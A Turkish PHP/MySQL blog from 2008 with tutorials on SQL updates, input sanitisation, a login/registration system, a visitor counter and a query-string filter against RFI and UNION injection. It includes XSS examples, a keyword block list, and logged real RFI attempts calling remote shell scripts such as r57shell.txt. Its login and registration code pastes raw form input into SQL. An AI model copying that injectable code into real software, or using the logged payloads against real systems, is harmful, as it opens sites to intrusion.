Filed under: MySQL   by admin

UPDATE uyeler AS s , uyelerYedek AS q
SET s.dogumTarihi = q.yas
where s.id = q.id

gibi yaparak eski / yedek tablonuzdaki verileri yeni tablonuzdakilerle değiştirebilirsiniz
ansızın gece nin 5:30 unde uyeler tablosunun dogumTarihi kolonunun veritipini değiştiğinizde (örneğin varchar dan date ) tüm verilerin silineeğini unutmayınız yedeğiniz varsa eski kolondaki verileri alabilirsiniz :)
veya substring_index(q.yas,’.',-1) as yil gibi gibi tarihleri parse edipte aktarabilirsiniz.

UPDATE uyeler AS s , uyelerYedek AS q
SET
s.dogumTarihi = concat(
SUBSTRING_INDEX( q.yas , '.', -1 )
,'-',
substring_index(SUBSTRING_INDEX( q.yas , '.', 2),'.',-1)
,'-',
SUBSTRING_INDEX( q.yas , '.', 1 )
)

WHERE s.id = q.id

Posted on: 16 Eki 2008

php nuke prefix değiştirici

Filed under: Ajax, MySQL, Php, Salata   by admin

prefix değişici kodları
[cc lang="php"]
<?
//mysql bağlantısı
$dbkullaniciadi=”";
$db_sifre=”";
$dbname=”";
//prefix ayarları
$onceki_prefix =”nuke”;
$yeni_prefix=”yeniprefixinizinozgunuydurdugunuzadi”;
//düzenleme bitti
if (!mysql_connect(’localhost’, “$dbkullaniciadi”, “$db_sifre”)) {
echo ‘Mysql bağlantısını kuramadım’;
exit;
}
$sql    = “$dbname”;
$result = mysql_list_tables($sql);
while ($row = mysql_fetch_row($result)) {
echo “<b>$row[0]</b> değiştirildi ve\n”;
$row2['0'] = str_replace(”$onceki_prefix”,”$yeni_prefix”, $row['0']);
mysql_query(”ALTER TABLE `$row[0]` RENAME `$row2[0]`”) or die(mysql_error());
echo”<b>$row2[0]</b> oldu<br>”;
}
?>
[/cc]

netopsiyon forumu için link :)

Posted on: 08 Eyl 2008

Php Ekşin – Action

Filed under: Ajax, Html, MySQL, Php, Yazılım   by admin

hazır yatmadan önce güvenlikle alakalı fonksiyonlara değineyim hafiften
htmlspecialchars-htmlentities
htmlentities iso-8859-9 ve latin5 yani türkçe desteklemiyor ,ent_quotes,iso-8859-9 yapsanda nafile bu yüzden sayfanız utf-8 yada latin1 falansa kullanmanız yoksa benzeri işi yapan
htmlspecialchars ı kullanmanızı öneririm mesala
form yaptınız
[php]
<?
if(empty($_POST)) { ?>
<form action=” method=’post’>
<input type=text name=’icerik’>
<input type=submit value=’Git’>
</form>
<? } else {
echo $_POST[icerik];
}
?>
[/php]gibi yazdırırsanız şuan hiç bir süzme işlemi yapmadınız normal insanlar kullanablir ama
sizin bu iyineyitinizi suistimal edecek bir ton hacker-lamer bulmak mümkün onlar da sizi bulur yada…
bu yüzden mesala oradan
ahmet yazıp gönderebilir ama
<script>….</script>
<script>document.cookie</script>
daha bir ton zararlı kod varyasyonları var bunları mesala direk engelleyebilirsiniz
buradan html bir kod gelmesini beklemiyorsanız htmlspecialchars ile direk tüm gelen html kodlarını egale edebilirsiniz sql de synatx hatalara verecek kodlar içinde addslashes ekliyoruz bunları topluça şöyle yazalım
[php] $_POST[icerik]=addslashes(htmlspecialchars($_POST[icerik]));[/php]mesala hiç ama hiç htmlkod gelmesini beklemiyosunuz direk kökten html temizlik için
[php] $_POST[icerik]=strip_tags($_POST[icerik]);[/php]fonksiyonunu kullanmanız yerinde olacaktır
mysql e gireceğiniz verilere or union vs. lere replace yapıp slashes eklemek yeterli gibi görünsede php.net mysql_real_espace_string fonksiyonunu öneriyor güvenlik sayfasında
yine diğre fonksiyonlar gibi yapıp post dizisinin input namesini [] keyi ile belirtip bir birine eşitleyebiliriz yada bir değişkene atayabiliriz yada yine aynı input keye ayarlıyacaksak
üstte vermiştim tekrar yazayım

[php]
<?
if(empty($_POST)) { ?>
<form action=” method=’post’>
<input type=text name=’icerik’>
<input type=submit value=’Git’>
</form>
<? } else {
foreach($_POST as $saho=>$ankabt) $_POST[$saho]=strip_tags($_POST[$saho]);
echo $_POST[icerik];
}
?>
[/php]gibi kullanabiliriz
birde bu foreach ı böyle inputtan gelen 15-20 veri gelirken hepsine uygulayıp çokdaha pratik olabilirsiniz diğer yöntem ise
[php] $icerik=strip_tags($_POST[icerik]);[/php]gibi yapabilirsiniz
yine sql e işleyecekseniz
foreach kısmında dönerken veri
[php] $_POST[$saho]=mysql_real_escape_string($_POST[$saho]);[/php]gibi kullanabilirsiniz…
birdemesala
get-posttan gelen tüm veriyi sql e işlemede slashes lemek sql den mesala
fetch_array-row-assoc vs. array diziye atıyorsanız yani oradan da okurken stripslashes yaparak veriyi güvenli şekilde yazıp okuyabilirsiniz.

[php] foreach($_POST as $saho=>$anka) $_POST[$saho]=@addslashes($_POST[$saho]);
foreach($_GET as $saho=>$anka) $_GET[$saho]=@addslashes($_GET[$saho]);[/php]–
gelen tüm veriyi slashes ledik
çıkan veride mesala

[php]$saho=mysql_fetch_array(mysql_query(”select adi from videolar where id=’5′ “));
foreach($saho as $an=>$ka) $saho[$an]=stripslashes($saho[$an]);
gibi kullanabilirsiniz[/php]

Posted on: 08 Eyl 2008

Üyelik Kayıt Sistemi ( Php )

Filed under: Html, MySQL, Php   by admin

Giriş – Kayıt Sistemi ( Php )
giris.php

PHP- Kodu:
<html><head><title> Giriş </title></head>

<body>

Kullanıcı Bilgilerinizi Girin :

<form action = “auth.php” method = “post”>

Kullanıcı Adı : <br>

<input type = “text” name = “username”>

<br><br>

Şifre :<br><br>

<input type = “text” name = “password”>

<br><br>

<input type = “submit” value = ” Giriş “>

</form>

</body></html>

auth.php

PHP- Kodu:
<?php $username = $_POST['username'];

$password = $_POST['password'];

$self = $_SERVER ['PHP_SELF'];

$referer = $_SERVER ['HTTP_REFERER'];

if ( ( !$username ) or ( !$password ) )

{header(”Location: $referer”) ; exit () ; }

$conn = @mysql_connect( “localhost”, “USERNAME”, “PASSWORD” )

or die (”couldnt connect to SQL “) ;

$rs = @mysql_select_db(”DATABASE” , $conn )

or die ( “Could not select Database” ) ;

$sql=”select * from my_database where user_name=\”$username\”

and password = password( \”$password\” ) ” ;

$rs = mysql_query( $sql, $conn )

or die ( ” Couldnt execute query” ) ;

$num = mysql_numrows ( $rs ) ;

if( $num != 0 )

{ $msg = ” $username – Giriş Başarılı !”;}

else

{ header( “location:$referer” ) ; exit() ; }

?>

<html> <head><title> Giriş Tamamdır </title></head>

<body> <?php echo( $msg ) ; ?> <br><br></A> <br><br>

kayit.php

PHP- Kodu:
<?php $self = $_SERVER['PHP_SELF'] ;

$firstname = $_POST['firstname'] ;

$lastname = $_POST['lastname'] ;

$username = $_POST['username'] ;

$password = $_POST['password'] ;

if ( ( !$firstname ) or ( !$lastname )

or ( !$username ) or ( !$password ) )

{

$form =”Gerekli Bilgileri Giriniz …”;

$form.=”<form action=\”$self\”";

$form.=” method=\”post\”>Adı : “;

$form.=”<input type=\”text\” name=\”firstname\”";

$form.=” value\”$firstname\”><br>Soyadı : “;

$form.=”<input type=\”text\” name=\”lastname\”";

$form.=” value=\”$lastname\”><br>Kullanıcı Adı : “;

$form.=”<input type=\”text\” name=\”username\”";

$form.=” value\”$username\”><br>Şifre : “;

$form.=”<input type type=\”text\” name=\”password\”";

$form.=” value=\”$password\”><br>”;

$form.=”<input type=\”submit\” value=\”Onayla\”>”;

$form.=”</form>”;

echo( $form ) ;

}

else

{ $conn = @mysql_connect( “localhost”, “USERNAME”, “PASSWORD”)

or die ( “could not connect to mysql”);

$db = @mysql_select_db( “DATABASE”, $conn )

or die (”could not select database”) ;

$sql = “insert into my_database

(first_name,last_name,User_name,password) values

(\”$fistname\”,\”$lastname\”,\”$username\”,

password(\”$password\”) )”;

$result = @mysql_query( $sql, $conn )

or die(”could not execute query”) ;

if( $result ) {echo( “New User $username added” ) ; }

}

?>

Sql ise

HTML-Kodu:

first_name varchar(50) No

last_name varchar(50) No

user_name varchar(25) No

password varchar(16) No

Alıntı

Filed under: MySQL, Php   by admin

php ile sitenin hitini ve girilen sayfaları ve bu sayfalara hangi ip lerin hangi saatlerde girdiğini görebilirsiniz bu ufak scriptcik ile

mysql veri yapısı tablosu

[php]CREATE TABLE useronline (
on_id int(20) NOT NULL auto_increment,
timestamp int(15) NOT NULL default ‘0′,
ip varchar(100) NOT NULL default ”,
file varchar(100) NOT NULL default ”,
PRIMARY KEY (on_id)
) TYPE=MyISAM;[/php]online.php içeriği

[php]   <?
include (”config.php”); // veritabanına bağlantı kodları yer alacak

$timeoutseconds = 60;
$timestamp = time();
$timeout = $timestamp-$timeoutseconds;
$SID = session_id();

$insert = mysql_query(”INSERT INTO useronline (timestamp,ip,file) VALUES (’$timestamp’,'$SID’,'$PHP_SELF’)”);
if(!($insert)) {
print “kayıt hatası> “;
}
$delete = mysql_query(”DELETE FROM useronline WHERE timestamp<$timeout”);
if(!($delete)) {
print “”;
}
$result = mysql_query(”SELECT DISTINCT ip FROM useronline WHERE file=’$PHP_SELF’”);
if(!($result)) {
print “”;
}
$user = mysql_num_rows($result);

mysql_close();
if($user == 1) {
print(”<center><font color=blue size=1>$user</font><font size=1> Kişi Online</font>\n”);
} else {
print(”<font color=blue size=1>$user</font><font size=1> Kişi Online</font>\n”);
}

?>[/php]config.php içeriği

[php]
<?
mysql_connect(”localhost”,”mysqlusername”,”mysqlsifre”);
mysql_select_db(”mysqldbadi”);
?>
[/php]online.php yi koymak istediğiniz yere include”online.php”; yapabilirsiniz.

Filed under: MySQL, Php, Yazılım   by admin

bilinen rfi ve union açıklarına tam anlamıyla olmasada epey bir engel olabilecek kısa bir kod bölütü

bilinen rfi ve union açıklarına tam anlamıyla olmasada epey bir engel olabilecek kısa bir kod bölütü

Code:
if(!function_exists('stripos')) {//stripos fonk varmı yok mu diye bakıyoruz
function stripos_clone($haystack, $needle, $offset=0) {
return strpos(strtoupper($haystack), strtoupper($needle), $offset);//yoksa strips_clone u tanımladık
}
} else {
function stripos_clone($haystack, $needle, $offset=0) {
return stripos($haystack, $needle, $offset=0);
}
}
if(isset($_SERVER['QUERY_STRING'])) {//isset ile bir sorgu gelmiş mi dedik geldiyse işimize devam ediyoruz
$queryString = strtolower($_SERVER['QUERY_STRING']);//sürekli uzun yazıyı yazmamak için az kısalttık
if (stripos_clone($queryString,'%select%20') OR stripos_clone($queryString,'%20union%20') OR stripos_clone($queryString,'union/*') OR stripos_clone($queryString,'c2nyaxb0') OR stripos_clone($queryString,'+union+') OR stripos_clone($queryString,'http://') OR stripos_clone($queryString,'https://') OR (stripos_clone($queryString,'cmd=') AND !stripos_clone($queryString,'&cmd')) OR (stripos_clone($queryString,'exec') AND !stripos_clone($queryString,'execu')) OR stripos_clone($queryString,'union') OR stripos_clone($queryString,'concat') OR stripos_clone($queryString,'ftp://')) {
$ip = $_SERVER['REMOTE_ADDR'];
$sayfa = $queryString;
$time = time();
/* sql e verileri işlemek isterseniz buraya giriş kodları sql yapısı ise
CREATE TABLE `ban` (
`id` int(250) NOT NULL auto_increment,
`ip` varchar(250) collate latin5_bin NOT NULL default '0',
`sayfasi` varchar(250) collate latin5_bin NOT NULL default '',
`zaman` varchar(250) collate latin5_bin NOT NULL default '',
PRIMARY KEY  (`id`)
) ENGINE=MyISAM ;
$sql = "INSERT INTO ban VALUES (NULL,'$ip','$sayfa', '$time')";
$query = mysql_query($sql);
*/
die('<title>AMAN ALLAH\'IM HACKER N\'OLUR BENİ HACKLAMA</title><center>AMAN ALLAH\'IM HACKER N\'OLUR BENİ HACKLAMA<BR><BR><img src=imajlar/bandik.gif><br><br>Yapmaya çalıştığınız işlem; <b>'.$queryString.'</b><br> Ip niz<b>; '.$ip.'</b><br><br>lamerlik sağlığa zararlıdır.</center>');//die mesajı
unset($queryString);// değişkeni bellekten kaldır
exit;//aşağısındaki tüm kodların çalışmasını die iptal etti ama yinede işimizi garantiye alıp exit; yaptık
}
}

php dosyanızın en üstüne <? , <?php den sonra bu kodları ekleyiniz.

benim yakaladığım rfi ler

Code:
INSERT INTO `ban` VALUES (19, '201.43.54.9', 'action=http://yem.wpc.or.kr/event_popup/2000603japan/0603japan.files/slide0013_image112.jpg?&cmd=id', '1156264412');
INSERT INTO `ban` VALUES (21, '62.94.78.208', 'l=http://84.19.178.60/~sky/dir/ex.txt?', '1158662636');
INSERT INTO `ban` VALUES (22, '62.23.104.90', 'k=http://www.moondremi.co.kr/kboard/data/power/ice.dat?', '1158857954');
INSERT INTO `ban` VALUES (23, '69.94.12.137', 'k=http://www.moondremi.co.kr/kboard/data/power/ice.dat?', '1158857966');
INSERT INTO `ban` VALUES (24, '69.94.12.137', 'k=http://www.moondremi.co.kr/kboard/data/power/ice.dat?', '1158857966');
INSERT INTO `ban` VALUES (25, '212.34.136.15', 'k=http://www.moondremi.co.kr/kboard/data/power/ice.dat?', '1158858011');
INSERT INTO `ban` VALUES (26, '62.23.104.90', 'k=http://www.moondremi.co.kr/kboard/data/power/ice.dat?', '1158858023');
INSERT INTO `ban` VALUES (27, '69.94.12.137', 'k=http://www.moondremi.co.kr/kboard/data/power/ice.dat?', '1158858038');
INSERT INTO `ban` VALUES (28, '69.94.12.137', 'k=http://www.moondremi.co.kr/kboard/data/power/ice.dat?', '1158858041');
INSERT INTO `ban` VALUES (29, '201.238.231.66', 'k=http://www.moondremi.co.kr/kboard/data/power/ice.dat?', '1158858043');
INSERT INTO `ban` VALUES (30, '201.238.231.66', 'k=http://www.moondremi.co.kr/kboard/data/power/ice.dat?', '1158858045');
INSERT INTO `ban` VALUES (31, '62.23.104.90', 'k=http://www.moondremi.co.kr/kboard/data/power/ice.dat?', '1158858091');
INSERT INTO `ban` VALUES (32, '201.28.202.17', 'func=http://myspace.si/images/delete.gif??', '1159528932');
INSERT INTO `ban` VALUES (33, '87.8.117.67', 'action=http://busca.uol.com.br/uol/index.html?&cmd=id&id=13', '1161170373');
INSERT INTO `ban` VALUES (34, '87.8.117.67', 'action=view&id=http://busca.uol.com.br/uol/index.html?&cmd=id', '1161170373');
INSERT INTO `ban` VALUES (35, '87.2.182.188', 'action=http://busca.uol.com.br/uol/index.html?&cmd=id&amp;by=a', '1163459067');
INSERT INTO `ban` VALUES (36, '194.150.108.158', 'func=http://www.inprocon-deutschland.de/images/cc.txt?', '1165604544');
INSERT INTO `ban` VALUES (37, '85.99.51.101', 'action=http://bolivar44.byethost9.com/r57shell.txt?', '1166196248');
INSERT INTO `ban` VALUES (38, '64.186.239.116', 'action=view&id=8//index2.php?_request=&_request[option]=com_content&_request[itemid]=1&globals=&mosconfig_absolute_path=http://rds.ene.unb.br/rds/.../a/echo4?', '1182635888');

bunlar da eski sql kayıtları diye hatırlıyorum işinze yarar

__________________